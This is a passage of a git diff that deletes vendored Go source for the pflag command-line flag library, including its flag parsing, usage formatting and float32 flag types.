flag named "getURL" and have it translated to "geturl". A user could then pass -// "--getUrl" which may also be translated to "geturl" and everything will work. -func (f *FlagSet) SetNormalizeFunc(n func(f *FlagSet, name string) NormalizedName) { - f.normalizeNameFunc = n - f.sortedFormal = f.sortedFormal[:0] - for fname, flag := range f.formal { - nname := f.normalizeFlagName(flag.Name) - if fname == nname { - continue - } - flag.Name = string(nname) - delete(f.formal, fname) - f.formal[nname] = flag - if _, set := f.actual[fname]; set { - delete(f.actual, fname) - f.actual[nname] = flag - } - } -} - -// GetNormalizeFunc returns the previously set NormalizeFunc of a function which -// does no translation, if not set previously. -func (f *FlagSet) GetNormalizeFunc() func(f *FlagSet, name string) NormalizedName { - if f.normalizeNameFunc != nil { - return f.normalizeNameFunc - } - return func(f *FlagSet, name string) NormalizedName { return NormalizedName(name) } -} - -func (f *FlagSet) normalizeFlagName(name string) NormalizedName { - n := f.GetNormalizeFunc() - return n(f, name) -} - -func (f *FlagSet) out() io.Writer { - if f.output == nil { - return os.Stderr - } - return f.output -} - -// SetOutput sets the destination for usage and error messages. -// If output is nil, os.Stderr is used. -func (f *FlagSet) SetOutput(output io.Writer) { - f.output = output -} - -// VisitAll visits the flags in lexicographical order or -// in primordial order if f.SortFlags is false, calling fn for each. -// It visits all flags, even those not set. -func (f *FlagSet) VisitAll(fn func(*Flag)) { - if len(f.formal) == 0 { - return - } - - var flags []*Flag - if f.SortFlags { - if len(f.formal) != len(f.sortedFormal) { - f.sortedFormal = sortFlags(f.formal) - } - flags = f.sortedFormal - } else { - flags = f.orderedFormal - } - - for _, flag := range flags { - fn(flag) - } -} - -// HasFlags returns a bool to indicate if the FlagSet has any flags defined. -func (f *FlagSet) HasFlags() bool { - return len(f.formal) > 0 -} - -// HasAvailableFlags returns a bool to indicate if the FlagSet has any flags -// that are not hidden. -func (f *FlagSet) HasAvailableFlags() bool { - for _, flag := range f.formal { - if !flag.Hidden { - return true - } - } - return false -} - -// VisitAll visits the command-line flags in lexicographical order or -// in primordial order if f.SortFlags is false, calling fn for each. -// It visits all flags, even those not set. -func VisitAll(fn func(*Flag)) { - CommandLine.VisitAll(fn) -} - -// Visit visits the flags in lexicographical order or -// in primordial order if f.SortFlags is false, calling fn for each. -// It visits only those flags that have been set. -func (f *FlagSet) Visit(fn func(*Flag)) { - if len(f.actual) == 0 { - return - } - - var flags []*Flag - if f.SortFlags { - if len(f.actual) != len(f.sortedActual) { - f.sortedActual = sortFlags(f.actual) - } - flags = f.sortedActual - } else { - flags = f.orderedActual - } - - for _, flag := range flags { - fn(flag) - } -} - -// Visit visits the command-line flags in lexicographical order or -// in primordial order if f.SortFlags is false, calling fn for each. -// It visits only those flags that have been set. -func Visit(fn func(*Flag)) { - CommandLine.Visit(fn) -} - -// Lookup returns the Flag structure of the named flag, returning nil if none exists. -func (f *FlagSet) Lookup(name string) *Flag { - return f.lookup(f.normalizeFlagName(name)) -} - -// ShorthandLookup returns the Flag structure of the short handed flag, -// returning nil if none exists. -// It panics, if len(name) > 1. -func (f *FlagSet) ShorthandLookup(name string) *Flag { - if name == "" { - return nil - } - if len(name) > 1 { - msg := fmt.Sprintf("can not look up shorthand which is more than one ASCII character: %q", name) - fmt.Fprintf(f.out(), msg) - panic(msg) - } - c := name[0] - return f.shorthands[c] -} - -// lookup returns the Flag structure of the named flag, returning nil if none exists. -func (f *FlagSet) lookup(name NormalizedName) *Flag { - return f.formal[name] -} - -// func to return a given type for a given flag name -func (f *FlagSet) getFlagType(name string, ftype string, convFunc func(sval string) (interface{}, error)) (interface{}, error) { - flag := f.Lookup(name) - if flag == nil { - err := fmt.Errorf("flag accessed but not defined: %s", name) - return nil, err - } - - if flag.Value.Type() != ftype { - err := fmt.Errorf("trying to get %s value of flag of type %s", ftype, flag.Value.Type()) - return nil, err - } - - sval := flag.Value.String() - result, err := convFunc(sval) - if err != nil { - return nil, err - } - return result, nil -} - -// ArgsLenAtDash will return the length of f.Args at the moment when a -- was -// found during arg parsing. This allows your program to know which args were -// before the -- and which came after. -func (f *FlagSet) ArgsLenAtDash() int { - return f.argsLenAtDash -} - -// MarkDeprecated indicated that a flag is deprecated in your program. It will -// continue to function but will not show up in help or usage messages. Using -// this flag will also print the given usageMessage. -func (f *FlagSet) MarkDeprecated(name string, usageMessage string) error { - flag := f.Lookup(name) - if flag == nil { - return fmt.Errorf("flag %q does not exist", name) - } - if usageMessage == "" { - return fmt.Errorf("deprecated message for flag %q must be set", name) - } - flag.Deprecated = usageMessage - flag.Hidden = true - return nil -} - -// MarkShorthandDeprecated will mark the shorthand of a flag deprecated in your -// program. It will continue to function but will not show up in help or usage -// messages. Using this flag will also print the given usageMessage. -func (f *FlagSet) MarkShorthandDeprecated(name string, usageMessage string) error { - flag := f.Lookup(name) - if flag == nil { - return fmt.Errorf("flag %q does not exist", name) - } - if usageMessage == "" { - return fmt.Errorf("deprecated message for flag %q must be set", name) - } - flag.ShorthandDeprecated = usageMessage - return nil -} - -// MarkHidden sets a flag to 'hidden' in your program. It will continue to -// function but will not show up in help or usage messages. -func (f *FlagSet) MarkHidden(name string) error { - flag := f.Lookup(name) - if flag == nil { - return fmt.Errorf("flag %q does not exist", name) - } - flag.Hidden = true - return nil -} - -// Lookup returns the Flag structure of the named command-line flag, -// returning nil if none exists. -func Lookup(name string) *Flag { - return CommandLine.Lookup(name) -} - -// ShorthandLookup returns the Flag structure of the short handed flag, -// returning nil if none exists. -func ShorthandLookup(name string) *Flag { - return CommandLine.ShorthandLookup(name) -} - -// Set sets the value of the named flag. -func (f *FlagSet) Set(name, value string) error { - normalName := f.normalizeFlagName(name) - flag, ok := f.formal[normalName] - if !ok { - return fmt.Errorf("no such flag -%v", name) - } - - err := flag.Value.Set(value) - if err != nil { - var flagName string - if flag.Shorthand != "" && flag.ShorthandDeprecated == "" { - flagName = fmt.Sprintf("-%s, --%s", flag.Shorthand, flag.Name) - } else { - flagName = fmt.Sprintf("--%s", flag.Name) - } - return fmt.Errorf("invalid argument %q for %q flag: %v", value, flagName, err) - } - - if !flag.Changed { - if f.actual == nil { - f.actual = make(map[NormalizedName]*Flag) - } - f.actual[normalName] = flag - f.orderedActual = append(f.orderedActual, flag) - - flag.Changed = true - } - - if flag.Deprecated != "" { - fmt.Fprintf(f.out(), "Flag --%s has been deprecated, %s\n", flag.Name, flag.Deprecated) - } - return nil -} - -// SetAnnotation allows one to set arbitrary annotations on a flag in the FlagSet. -// This is sometimes used by spf13/cobra programs which want to generate additional -// bash completion information. -func (f *FlagSet) SetAnnotation(name, key string, values []string) error { - normalName := f.normalizeFlagName(name) - flag, ok := f.formal[normalName] - if !ok { - return fmt.Errorf("no such flag -%v", name) - } - if flag.Annotations == nil { - flag.Annotations = map[string][]string{} - } - flag.Annotations[key] = values - return nil -} - -// Changed returns true if the flag was explicitly set during Parse() and false -// otherwise -func (f *FlagSet) Changed(name string) bool { - flag := f.Lookup(name) - // If a flag doesn't exist, it wasn't changed.... - if flag == nil { - return false - } - return flag.Changed -} - -// Set sets the value of the named command-line flag. -func Set(name, value string) error { - return CommandLine.Set(name, value) -} - -// PrintDefaults prints, to standard error unless configured -// otherwise, the default values of all defined flags in the set. -func (f *FlagSet) PrintDefaults() { - usages := f.FlagUsages() - fmt.Fprint(f.out(), usages) -} - -// defaultIsZeroValue returns true if the default value for this flag represents -// a zero value. -func (f *Flag) defaultIsZeroValue() bool { - switch f.Value.(type) { - case boolFlag: - return f.DefValue == "false" - case *durationValue: - // Beginning in Go 1.7, duration zero values are "0s" - return f.DefValue == "0" || f.DefValue == "0s" - case *intValue, *int8Value, *int32Value, *int64Value, *uintValue, *uint8Value, *uint16Value, *uint32Value, *uint64Value, *countValue, *float32Value, *float64Value: - return f.DefValue == "0" - case *stringValue: - return f.DefValue == "" - case *ipValue, *ipMaskValue, *ipNetValue: - return f.DefValue == "" - case *intSliceValue, *stringSliceValue, *stringArrayValue: - return f.DefValue == "[]" - default: - switch f.Value.String() { - case "false": - return true - case "": - return true - case "": - return true - case "0": - return true - } - return false - } -} - -// UnquoteUsage extracts a back-quoted name from the usage -// string for a flag and returns it and the un-quoted usage. -// Given "a `name` to show" it returns ("name", "a name to show"). -// If there are no back quotes, the name is an educated guess of the -// type of the flag's value, or the empty string if the flag is boolean. -func UnquoteUsage(flag *Flag) (name string, usage string) { - // Look for a back-quoted name, but avoid the strings package. - usage = flag.Usage - for i := 0; i < len(usage); i++ { - if usage[i] == '`' { - for j := i + 1; j < len(usage); j++ { - if usage[j] == '`' { - name = usage[i+1 : j] - usage = usage[:i] + name + usage[j+1:] - return name, usage - } - } - break // Only one back quote; use type name. - } - } - - name = flag.Value.Type() - switch name { - case "bool": - name = "" - case "float64": - name = "float" - case "int64": - name = "int" - case "uint64": - name = "uint" - case "stringSlice": - name = "strings" - case "intSlice": - name = "ints" - case "uintSlice": - name = "uints" - case "boolSlice": - name = "bools" - } - - return -} - -// Splits the string `s` on whitespace into an initial substring up to -// `i` runes in length and the remainder. Will go `slop` over `i` if -// that encompasses the entire string (which allows the caller to -// avoid short orphan words on the final line). -func wrapN(i, slop int, s string) (string, string) { - if i+slop > len(s) { - return s, "" - } - - w := strings.LastIndexAny(s[:i], " \t\n") - if w <= 0 { - return s, "" - } - nlPos := strings.LastIndex(s[:i], "\n") - if nlPos > 0 && nlPos < w { - return s[:nlPos], s[nlPos+1:] - } - return s[:w], s[w+1:] -} - -// Wraps the string `s` to a maximum width `w` with leading indent -// `i`. The first line is not indented (this is assumed to be done by -// caller). Pass `w` == 0 to do no wrapping -func wrap(i, w int, s string) string { - if w == 0 { - return strings.Replace(s, "\n", "\n"+strings.Repeat(" ", i), -1) - } - - // space between indent i and end of line width w into which - // we should wrap the text. - wrap := w - i - - var r, l string - - // Not enough space for sensible wrapping. Wrap as a block on - // the next line instead. - if wrap < 24 { - i = 16 - wrap = w - i - r += "\n" + strings.Repeat(" ", i) - } - // If still not enough space then don't even try to wrap. - if wrap < 24 { - return strings.Replace(s, "\n", r, -1) - } - - // Try to avoid short orphan words on the final line, by - // allowing wrapN to go a bit over if that would fit in the - // remainder of the line. - slop := 5 - wrap = wrap - slop - - // Handle first line, which is indented by the caller (or the - // special case above) - l, s = wrapN(wrap, slop, s) - r = r + strings.Replace(l, "\n", "\n"+strings.Repeat(" ", i), -1) - - // Now wrap the rest - for s != "" { - var t string - - t, s = wrapN(wrap, slop, s) - r = r + "\n" + strings.Repeat(" ", i) + strings.Replace(t, "\n", "\n"+strings.Repeat(" ", i), -1) - } - - return r - -} - -// FlagUsagesWrapped returns a string containing the usage information -// for all flags in the FlagSet. Wrapped to `cols` columns (0 for no -// wrapping) -func (f *FlagSet) FlagUsagesWrapped(cols int) string { - buf := new(bytes.Buffer) - - lines := make([]string, 0, len(f.formal)) - - maxlen := 0 - f.VisitAll(func(flag *Flag) { - if flag.Hidden { - return - } - - line := "" - if flag.Shorthand != "" && flag.ShorthandDeprecated == "" { - line = fmt.Sprintf(" -%s, --%s", flag.Shorthand, flag.Name) - } else { - line = fmt.Sprintf(" --%s", flag.Name) - } - - varname, usage := UnquoteUsage(flag) - if varname != "" { - line += " " + varname - } - if flag.NoOptDefVal != "" { - switch flag.Value.Type() { - case "string": - line += fmt.Sprintf("[=\"%s\"]", flag.NoOptDefVal) - case "bool": - if flag.NoOptDefVal != "true" { - line += fmt.Sprintf("[=%s]", flag.NoOptDefVal) - } - case "count": - if flag.NoOptDefVal != "+1" { - line += fmt.Sprintf("[=%s]", flag.NoOptDefVal) - } - default: - line += fmt.Sprintf("[=%s]", flag.NoOptDefVal) - } - } - - // This special character will be replaced with spacing once the - // correct alignment is calculated - line += "\x00" - if len(line) > maxlen { - maxlen = len(line) - } - - line += usage - if !flag.defaultIsZeroValue() { - if flag.Value.Type() == "string" { - line += fmt.Sprintf(" (default %q)", flag.DefValue) - } else { - line += fmt.Sprintf(" (default %s)", flag.DefValue) - } - } - if len(flag.Deprecated) != 0 { - line += fmt.Sprintf(" (DEPRECATED: %s)", flag.Deprecated) - } - - lines = append(lines, line) - }) - - for _, line := range lines { - sidx := strings.Index(line, "\x00") - spacing := strings.Repeat(" ", maxlen-sidx) - // maxlen + 2 comes from + 1 for the \x00 and + 1 for the (deliberate) off-by-one in maxlen-sidx - fmt.Fprintln(buf, line[:sidx], spacing, wrap(maxlen+2, cols, line[sidx+1:])) - } - - return buf.String() -} - -// FlagUsages returns a string containing the usage information for all flags in -// the FlagSet -func (f *FlagSet) FlagUsages() string { - return f.FlagUsagesWrapped(0) -} - -// PrintDefaults prints to standard error the default values of all defined command-line flags. -func PrintDefaults() { - CommandLine.PrintDefaults() -} - -// defaultUsage is the default function to print a usage message. -func defaultUsage(f *FlagSet) { - fmt.Fprintf(f.out(), "Usage of %s:\n", f.name) - f.PrintDefaults() -} - -// NOTE: Usage is not just defaultUsage(CommandLine) -// because it serves (via godoc flag Usage) as the example -// for how to write your own usage function. - -// Usage prints to standard error a usage message documenting all defined command-line flags. -// The function is a variable that may be changed to point to a custom function. -// By default it prints a simple header and calls PrintDefaults; for details about the -// format of the output and how to control it, see the documentation for PrintDefaults. -var Usage = func() { - fmt.Fprintf(os.Stderr, "Usage of %s:\n", os.Args[0]) - PrintDefaults() -} - -// NFlag returns the number of flags that have been set. -func (f *FlagSet) NFlag() int { return len(f.actual) } - -// NFlag returns the number of command-line flags that have been set. -func NFlag() int { return len(CommandLine.actual) } - -// Arg returns the i'th argument. Arg(0) is the first remaining argument -// after flags have been processed. -func (f *FlagSet) Arg(i int) string { - if i < 0 || i >= len(f.args) { - return "" - } - return f.args[i] -} - -// Arg returns the i'th command-line argument. Arg(0) is the first remaining argument -// after flags have been processed. -func Arg(i int) string { - return CommandLine.Arg(i) -} - -// NArg is the number of arguments remaining after flags have been processed. -func (f *FlagSet) NArg() int { return len(f.args) } - -// NArg is the number of arguments remaining after flags have been processed. -func NArg() int { return len(CommandLine.args) } - -// Args returns the non-flag arguments. -func (f *FlagSet) Args() []string { return f.args } - -// Args returns the non-flag command-line arguments. -func Args() []string { return CommandLine.args } - -// Var defines a flag with the specified name and usage string. The type and -// value of the flag are represented by the first argument, of type Value, which -// typically holds a user-defined implementation of Value. For instance, the -// caller could create a flag that turns a comma-separated string into a slice -// of strings by giving the slice the methods of Value; in particular, Set would -// decompose the comma-separated string into the slice. -func (f *FlagSet) Var(value Value, name string, usage string) { - f.VarP(value, name, "", usage) -} - -// VarPF is like VarP, but returns the flag created -func (f *FlagSet) VarPF(value Value, name, shorthand, usage string) *Flag { - // Remember the default value as a string; it won't change. - flag := &Flag{ - Name: name, - Shorthand: shorthand, - Usage: usage, - Value: value, - DefValue: value.String(), - } - f.AddFlag(flag) - return flag -} - -// VarP is like Var, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) VarP(value Value, name, shorthand, usage string) { - f.VarPF(value, name, shorthand, usage) -} - -// AddFlag will add the flag to the FlagSet -func (f *FlagSet) AddFlag(flag *Flag) { - normalizedFlagName := f.normalizeFlagName(flag.Name) - - _, alreadyThere := f.formal[normalizedFlagName] - if alreadyThere { - msg := fmt.Sprintf("%s flag redefined: %s", f.name, flag.Name) - fmt.Fprintln(f.out(), msg) - panic(msg) // Happens only if flags are declared with identical names - } - if f.formal == nil { - f.formal = make(map[NormalizedName]*Flag) - } - - flag.Name = string(normalizedFlagName) - f.formal[normalizedFlagName] = flag - f.orderedFormal = append(f.orderedFormal, flag) - - if flag.Shorthand == "" { - return - } - if len(flag.Shorthand) > 1 { - msg := fmt.Sprintf("%q shorthand is more than one ASCII character", flag.Shorthand) - fmt.Fprintf(f.out(), msg) - panic(msg) - } - if f.shorthands == nil { - f.shorthands = make(map[byte]*Flag) - } - c := flag.Shorthand[0] - used, alreadyThere := f.shorthands[c] - if alreadyThere { - msg := fmt.Sprintf("unable to redefine %q shorthand in %q flagset: it's already used for %q flag", c, f.name, used.Name) - fmt.Fprintf(f.out(), msg) - panic(msg) - } - f.shorthands[c] = flag -} - -// AddFlagSet adds one FlagSet to another. If a flag is already present in f -// the flag from newSet will be ignored. -func (f *FlagSet) AddFlagSet(newSet *FlagSet) { - if newSet == nil { - return - } - newSet.VisitAll(func(flag *Flag) { - if f.Lookup(flag.Name) == nil { - f.AddFlag(flag) - } - }) -} - -// Var defines a flag with the specified name and usage string. The type and -// value of the flag are represented by the first argument, of type Value, which -// typically holds a user-defined implementation of Value. For instance, the -// caller could create a flag that turns a comma-separated string into a slice -// of strings by giving the slice the methods of Value; in particular, Set would -// decompose the comma-separated string into the slice. -func Var(value Value, name string, usage string) { - CommandLine.VarP(value, name, "", usage) -} - -// VarP is like Var, but accepts a shorthand letter that can be used after a single dash. -func VarP(value Value, name, shorthand, usage string) { - CommandLine.VarP(value, name, shorthand, usage) -} - -// failf prints to standard error a formatted error and usage message and -// returns the error. -func (f *FlagSet) failf(format string, a ...interface{}) error { - err := fmt.Errorf(format, a...) - if f.errorHandling != ContinueOnError { - fmt.Fprintln(f.out(), err) - f.usage() - } - return err -} - -// usage calls the Usage method for the flag set, or the usage function if -// the flag set is CommandLine. -func (f *FlagSet) usage() { - if f == CommandLine { - Usage() - } else if f.Usage == nil { - defaultUsage(f) - } else { - f.Usage() - } -} - -//--unknown (args will be empty) -//--unknown --next-flag ... (args will be --next-flag ...) -//--unknown arg ... (args will be arg ...) -func stripUnknownFlagValue(args []string) []string { - if len(args) == 0 { - //--unknown - return args - } - - first := args[0] - if len(first) > 0 && first[0] == '-' { - //--unknown --next-flag ... - return args - } - - //--unknown arg ... (args will be arg ...) - if len(args) > 1 { - return args[1:] - } - return nil -} - -func (f *FlagSet) parseLongArg(s string, args []string, fn parseFunc) (a []string, err error) { - a = args - name := s[2:] - if len(name) == 0 || name[0] == '-' || name[0] == '=' { - err = f.failf("bad flag syntax: %s", s) - return - } - - split := strings.SplitN(name, "=", 2) - name = split[0] - flag, exists := f.formal[f.normalizeFlagName(name)] - - if !exists { - switch { - case name == "help": - f.usage() - return a, ErrHelp - case f.ParseErrorsWhitelist.UnknownFlags: - // --unknown=unknownval arg ... - // we do not want to lose arg in this case - if len(split) >= 2 { - return a, nil - } - - return stripUnknownFlagValue(a), nil - default: - err = f.failf("unknown flag: --%s", name) - return - } - } - - var value string - if len(split) == 2 { - // '--flag=arg' - value = split[1] - } else if flag.NoOptDefVal != "" { - // '--flag' (arg was optional) - value = flag.NoOptDefVal - } else if len(a) > 0 { - // '--flag arg' - value = a[0] - a = a[1:] - } else { - // '--flag' (arg was required) - err = f.failf("flag needs an argument: %s", s) - return - } - - err = fn(flag, value) - if err != nil { - f.failf(err.Error()) - } - return -} - -func (f *FlagSet) parseSingleShortArg(shorthands string, args []string, fn parseFunc) (outShorts string, outArgs []string, err error) { - outArgs = args - - if strings.HasPrefix(shorthands, "test.") { - return - } - - outShorts = shorthands[1:] - c := shorthands[0] - - flag, exists := f.shorthands[c] - if !exists { - switch { - case c == 'h': - f.usage() - err = ErrHelp - return - case f.ParseErrorsWhitelist.UnknownFlags: - // '-f=arg arg ...' - // we do not want to lose arg in this case - if len(shorthands) > 2 && shorthands[1] == '=' { - outShorts = "" - return - } - - outArgs = stripUnknownFlagValue(outArgs) - return - default: - err = f.failf("unknown shorthand flag: %q in -%s", c, shorthands) - return - } - } - - var value string - if len(shorthands) > 2 && shorthands[1] == '=' { - // '-f=arg' - value = shorthands[2:] - outShorts = "" - } else if flag.NoOptDefVal != "" { - // '-f' (arg was optional) - value = flag.NoOptDefVal - } else if len(shorthands) > 1 { - // '-farg' - value = shorthands[1:] - outShorts = "" - } else if len(args) > 0 { - // '-f arg' - value = args[0] - outArgs = args[1:] - } else { - // '-f' (arg was required) - err = f.failf("flag needs an argument: %q in -%s", c, shorthands) - return - } - - if flag.ShorthandDeprecated != "" { - fmt.Fprintf(f.out(), "Flag shorthand -%s has been deprecated, %s\n", flag.Shorthand, flag.ShorthandDeprecated) - } - - err = fn(flag, value) - if err != nil { - f.failf(err.Error()) - } - return -} - -func (f *FlagSet) parseShortArg(s string, args []string, fn parseFunc) (a []string, err error) { - a = args - shorthands := s[1:] - - // "shorthands" can be a series of shorthand letters of flags (e.g. "-vvv"). - for len(shorthands) > 0 { - shorthands, a, err = f.parseSingleShortArg(shorthands, args, fn) - if err != nil { - return - } - } - - return -} - -func (f *FlagSet) parseArgs(args []string, fn parseFunc) (err error) { - for len(args) > 0 { - s := args[0] - args = args[1:] - if len(s) == 0 || s[0] != '-' || len(s) == 1 { - if !f.interspersed { - f.args = append(f.args, s) - f.args = append(f.args, args...) - return nil - } - f.args = append(f.args, s) - continue - } - - if s[1] == '-' { - if len(s) == 2 { // "--" terminates the flags - f.argsLenAtDash = len(f.args) - f.args = append(f.args, args...) - break - } - args, err = f.parseLongArg(s, args, fn) - } else { - args, err = f.parseShortArg(s, args, fn) - } - if err != nil { - return - } - } - return -} - -// Parse parses flag definitions from the argument list, which should not -// include the command name. Must be called after all flags in the FlagSet -// are defined and before flags are accessed by the program. -// The return value will be ErrHelp if -help was set but not defined. -func (f *FlagSet) Parse(arguments []string) error { - if f.addedGoFlagSets != nil { - for _, goFlagSet := range f.addedGoFlagSets { - goFlagSet.Parse(nil) - } - } - f.parsed = true - - if len(arguments) < 0 { - return nil - } - - f.args = make([]string, 0, len(arguments)) - - set := func(flag *Flag, value string) error { - return f.Set(flag.Name, value) - } - - err := f.parseArgs(arguments, set) - if err != nil { - switch f.errorHandling { - case ContinueOnError: - return err - case ExitOnError: - fmt.Println(err) - os.Exit(2) - case PanicOnError: - panic(err) - } - } - return nil -} - -type parseFunc func(flag *Flag, value string) error - -// ParseAll parses flag definitions from the argument list, which should not -// include the command name. The arguments for fn are flag and value. Must be -// called after all flags in the FlagSet are defined and before flags are -// accessed by the program. The return value will be ErrHelp if -help was set -// but not defined. -func (f *FlagSet) ParseAll(arguments []string, fn func(flag *Flag, value string) error) error { - f.parsed = true - f.args = make([]string, 0, len(arguments)) - - err := f.parseArgs(arguments, fn) - if err != nil { - switch f.errorHandling { - case ContinueOnError: - return err - case ExitOnError: - os.Exit(2) - case PanicOnError: - panic(err) - } - } - return nil -} - -// Parsed reports whether f.Parse has been called. -func (f *FlagSet) Parsed() bool { - return f.parsed -} - -// Parse parses the command-line flags from os.Args[1:]. Must be called -// after all flags are defined and before flags are accessed by the program. -func Parse() { - // Ignore errors; CommandLine is set for ExitOnError. - CommandLine.Parse(os.Args[1:]) -} - -// ParseAll parses the command-line flags from os.Args[1:] and called fn for each. -// The arguments for fn are flag and value. Must be called after all flags are -// defined and before flags are accessed by the program. -func ParseAll(fn func(flag *Flag, value string) error) { - // Ignore errors; CommandLine is set for ExitOnError. - CommandLine.ParseAll(os.Args[1:], fn) -} - -// SetInterspersed sets whether to support interspersed option/non-option arguments. -func SetInterspersed(interspersed bool) { - CommandLine.SetInterspersed(interspersed) -} - -// Parsed returns true if the command-line flags have been parsed. -func Parsed() bool { - return CommandLine.Parsed() -} - -// CommandLine is the default set of command-line flags, parsed from os.Args. -var CommandLine = NewFlagSet(os.Args[0], ExitOnError) - -// NewFlagSet returns a new, empty flag set with the specified name, -// error handling property and SortFlags set to true. -func NewFlagSet(name string, errorHandling ErrorHandling) *FlagSet { - f := &FlagSet{ - name: name, - errorHandling: errorHandling, - argsLenAtDash: -1, - interspersed: true, - SortFlags: true, - } - return f -} - -// SetInterspersed sets whether to support interspersed option/non-option arguments. -func (f *FlagSet) SetInterspersed(interspersed bool) { - f.interspersed = interspersed -} - -// Init sets the name and error handling property for a flag set. -// By default, the zero FlagSet uses an empty name and the -// ContinueOnError error handling policy. -func (f *FlagSet) Init(name string, errorHandling ErrorHandling) { - f.name = name - f.errorHandling = errorHandling - f.argsLenAtDash = -1 -} diff --git a/vendor/github.com/spf13/pflag/float32.go b/vendor/github.com/spf13/pflag/float32.go deleted file mode 100644 index a243f81f7f..0000000000 --- a/vendor/github.com/spf13/pflag/float32.go +++ /dev/null @@ -1,88 +0,0 @@ -package pflag - -import "strconv" - -// -- float32 Value -type float32Value float32 - -func newFloat32Value(val float32, p *float32) *float32Value { - *p = val - return (*float32Value)(p) -} - -func (f *float32Value) Set(s string) error { - v, err := strconv.ParseFloat(s, 32) - *f = float32Value(v) - return err -} - -func (f *float32Value) Type() string { - return "float32" -} - -func (f *float32Value) String() string { return strconv.FormatFloat(float64(*f), 'g', -1, 32) } - -func float32Conv(sval string) (interface{}, error) { - v, err := strconv.ParseFloat(sval, 32) - if err != nil { - return 0, err - } - return float32(v), nil -} - -// GetFloat32 return the float32 value of a flag with the given name -func (f *FlagSet) GetFloat32(name string) (float32, error) { - val, err := f.getFlagType(name, "float32", float32Conv) - if err != nil { - return 0, err - } - return val.(float32), nil -} - -// Float32Var defines a float32 flag with specified name, default value, and usage string. -// The argument p points to a float32 variable in which to store the value of the flag. -func (f *FlagSet) Float32Var(p *float32, name string, value float32, usage string) { - f.VarP(newFloat32Value(value, p), name, "", usage) -} - -// Float32VarP is like Float32Var, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Float32VarP(p *float32, name, shorthand string, value float32, usage string) { - f.VarP(newFloat32Value(value, p), name, shorthand, usage) -} - -// Float32Var defines a float32 flag with specified name, default value, and usage string. -// The argument p points to a float32 variable in which to store the value of the flag. -func Float32Var(p *float32, name string, value float32, usage string) { - CommandLine.VarP(newFloat32Value(value, p), name, "", usage) -} - -// Float32VarP is like Float32Var, but accepts a shorthand letter that can be used after a single dash. -func Float32VarP(p *float32, name, shorthand string, value float32, usage string) { - CommandLine.VarP(newFloat32Value(value, p), name, shorthand, usage) -} - -// Float32 defines a float32 flag with specified name, default value, and usage string. -// The return value is the address of a float32 variable that stores the value of the flag. -func (f *FlagSet) Float32(name string, value float32, usage string) *float32 { - p := new(float32) - f.Float32VarP(p, name, "", value, usage) - return p -} - -// Float32P is like Float32, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Float32P(name, shorthand string, value float32, usage string) *float32 { - p := new(float32) - f.Float32VarP(p, name, shorthand, value, usage) - return p -} - -// Float32 defines a float32 flag with specified name, default value, and usage string. -// The return value is the address of a float32 variable that stores the value of the flag. -func Float32(name string, value float32, usage string) *float32 { - return CommandLine.Float32P(name, "", value, usage) -} - -// Float32P is like Float32, but accepts a shorthand letter that can be used after a single dash. -func Float32P(name, shorthand string, value float32, usage string) *float32 { - return CommandLine.Float32P(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/float32_slice.go b/vendor/github.com/spf13/pflag/float32_slice.go deleted file mode 100644 index caa352741a..0000000000 --- a/vendor/github.com/spf13/pflag/float32_slice.go +++ /dev/null @@ -1,174 +0,0 @@ -package pflag - -import ( - "fmt" - "strconv" - "strings" -) - -// -- float32Slice Value -type float32SliceValue struct { - value *[]float32 - changed bool -} - -func newFloat32SliceValue(val []float32, p *[]float32) *float32SliceValue { - isv := new(float32SliceValue) - isv.value = p - *isv.value = val - return isv -} - -func (s *float32SliceValue) Set(val string) error { - ss := strings.Split(val, ",") - out := make([]float32, len(ss)) - for i, d := range ss { - var err error - var temp64 float64 - temp64, err = strconv.ParseFloat(d, 32) - if err != nil { - return err - } - out[i] = float32(temp64) - - } - if !s.changed { - *s.value = out - } else { - *s.value = append(*s.value, out...) - } - s.changed = true - return nil -} - -func (s *float32SliceValue) Type() string { - return "float32Slice" -} - -func (s *float32SliceValue) String() string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = fmt.Sprintf("%f", d) - } - return "[" + strings.Join(out, ",") + "]" -} - -func (s *float32SliceValue) fromString(val string) (float32, error) { - t64, err := strconv.ParseFloat(val, 32) - if err != nil { - return 0, err - } - return float32(t64), nil -} - -func (s *float32SliceValue) toString(val float32) string { - return fmt.Sprintf("%f", val) -} - -func (s *float32SliceValue) Append(val string) error { - i, err := s.fromString(val) - if err != nil { - return err - } - *s.value = append(*s.value, i) - return nil -} - -func (s *float32SliceValue) Replace(val []string) error { - out := make([]float32, len(val)) - for i, d := range val { - var err error - out[i], err = s.fromString(d) - if err != nil { - return err - } - } - *s.value = out - return nil -} - -func (s *float32SliceValue) GetSlice() []string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = s.toString(d) - } - return out -} - -func float32SliceConv(val string) (interface{}, error) { - val = strings.Trim(val, "[]") - // Empty string would cause a slice with one (empty) entry - if len(val) == 0 { - return []float32{}, nil - } - ss := strings.Split(val, ",") - out := make([]float32, len(ss)) - for i, d := range ss { - var err error - var temp64 float64 - temp64, err = strconv.ParseFloat(d, 32) - if err != nil { - return nil, err - } - out[i] = float32(temp64) - - } - return out, nil -} - -// GetFloat32Slice return the []float32 value of a flag with the given name -func (f *FlagSet) GetFloat32Slice(name string) ([]float32, error) { - val, err := f.getFlagType(name, "float32Slice", float32SliceConv) - if err != nil { - return []float32{}, err - } - return val.([]float32), nil -} - -// Float32SliceVar defines a float32Slice flag with specified name, default value, and usage string. -// The argument p points to a []float32 variable in which to store the value of the flag. -func (f *FlagSet) Float32SliceVar(p *[]float32, name string, value []float32, usage string) { - f.VarP(newFloat32SliceValue(value, p), name, "", usage) -} - -// Float32SliceVarP is like Float32SliceVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Float32SliceVarP(p *[]float32, name, shorthand string, value []float32, usage string) { - f.VarP(newFloat32SliceValue(value, p), name, shorthand, usage) -} - -// Float32SliceVar defines a float32[] flag with specified name, default value, and usage string. -// The argument p points to a float32[] variable in which to store the value of the flag. -func Float32SliceVar(p *[]float32, name string, value []float32, usage string) { - CommandLine.VarP(newFloat32SliceValue(value, p), name, "", usage) -} - -// Float32SliceVarP is like Float32SliceVar, but accepts a shorthand letter that can be used after a single dash. -func Float32SliceVarP(p *[]float32, name, shorthand string, value []float32, usage string) { - 